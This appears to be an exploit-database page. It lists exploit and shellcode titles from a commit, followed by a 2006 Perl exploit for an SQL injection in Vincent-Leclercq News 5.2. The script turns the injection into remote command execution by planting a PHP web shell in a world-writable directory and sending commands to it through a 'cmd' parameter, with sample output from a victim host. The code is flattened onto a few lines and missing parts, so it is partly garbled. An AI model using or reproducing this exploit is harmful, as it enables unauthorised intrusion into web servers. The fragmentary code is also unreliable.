880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
28 lines
No EOL
2.3 KiB
Perl
Executable file
28 lines
No EOL
2.3 KiB
Perl
Executable file
source: https://www.securityfocus.com/bid/18729/info
|
|
|
|
Vincent-Leclercq News is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
|
|
|
|
An attacker may be able to exploit this issue to modify the logic of SQL queries. Successful exploits may allow the attacker to compromise the software, retrieve information, or modify data; other consequences are possible as well.
|
|
|
|
#!/usr/bin/perl
|
|
#
|
|
# VulnScr: News version 5.2 and prior
|
|
# E-mail: contact@vincent-leclercq.com
|
|
# Web: www.vincent-leclercq.com #
|
|
# Date: Thu June 29 12:01 2006
|
|
# Credits: DarkFig (gmdarkfig@gmail.com)
|
|
# Vuln: XSS, Full Path Disclosure, SQL Injection
|
|
# Advisorie: http://www.acid-root.new.fr/advisories/news52.txt (french =))
|
|
# Exploit: Create a php file (system($cmd)) in a dir ((smileys)chmoded 777 during the installation of the script)
|
|
# # # +-----------------------------------------+
|
|
# | News <= 5.2 SQL Injection (cmd exec) ---|
|
|
# +-----------------------------------------+
|
|
# [+]Full path: OK [/home/www/victim/news52]
|
|
# [+]Prefix: OK [news_] # [+]File exist: OK
|
|
# [localhost]uname -a # Linux ws6 2.6.16-SE-k8
|
|
#6 SMP PREEMPT Thu May 11 18:19:55 UTC 2006 i686 GNU/Linux
|
|
# [localhost]exit
|
|
# +-----------------------------------------+
|
|
# use LWP::UserAgent; use LWP::Simple; use Getopt::Long;
|
|
# # Argvs # header(); if(!$ARGV[1]){ &usageis; } GetOptions( 'host=s' => \$host, 'path=s' => \$path, ); if($host =~ /http:\/\/(.*)/){ $host = $1; }
|
|
# # Vars # my $helurl = 'http://'.$host.$path; my $uagent = 'Perlnamigator'; my $timeut = '30'; my $errr00 = "[-]Can't connect to the host\n"; my $errr01 = "[-]Can't get the full path of the website\n"; my $errr02 = "[-]Can't get the table prefix\n"; my $errr03 = "[-]The php file doesn't exist\n"; if($cmd eq "exit"){ &the_end; } $req5 = get($helurl.'admin/smileys/hello.php?cmd='.$cmd) or print $errr00 and the_end(); print $req5, "\n"; } sub usageis { print "| Usage: -host localhost -path /news/ ---| \n"; &the_end; } sub the_end { print "+-----------------------------------------+\n"; exit; } sub header { print "\n+-----------------------------------------+\n"; print "| News <= 5.2 SQL Injection (cmd exec) ---|\n"; print "+-----------------------------------------+\n"; } |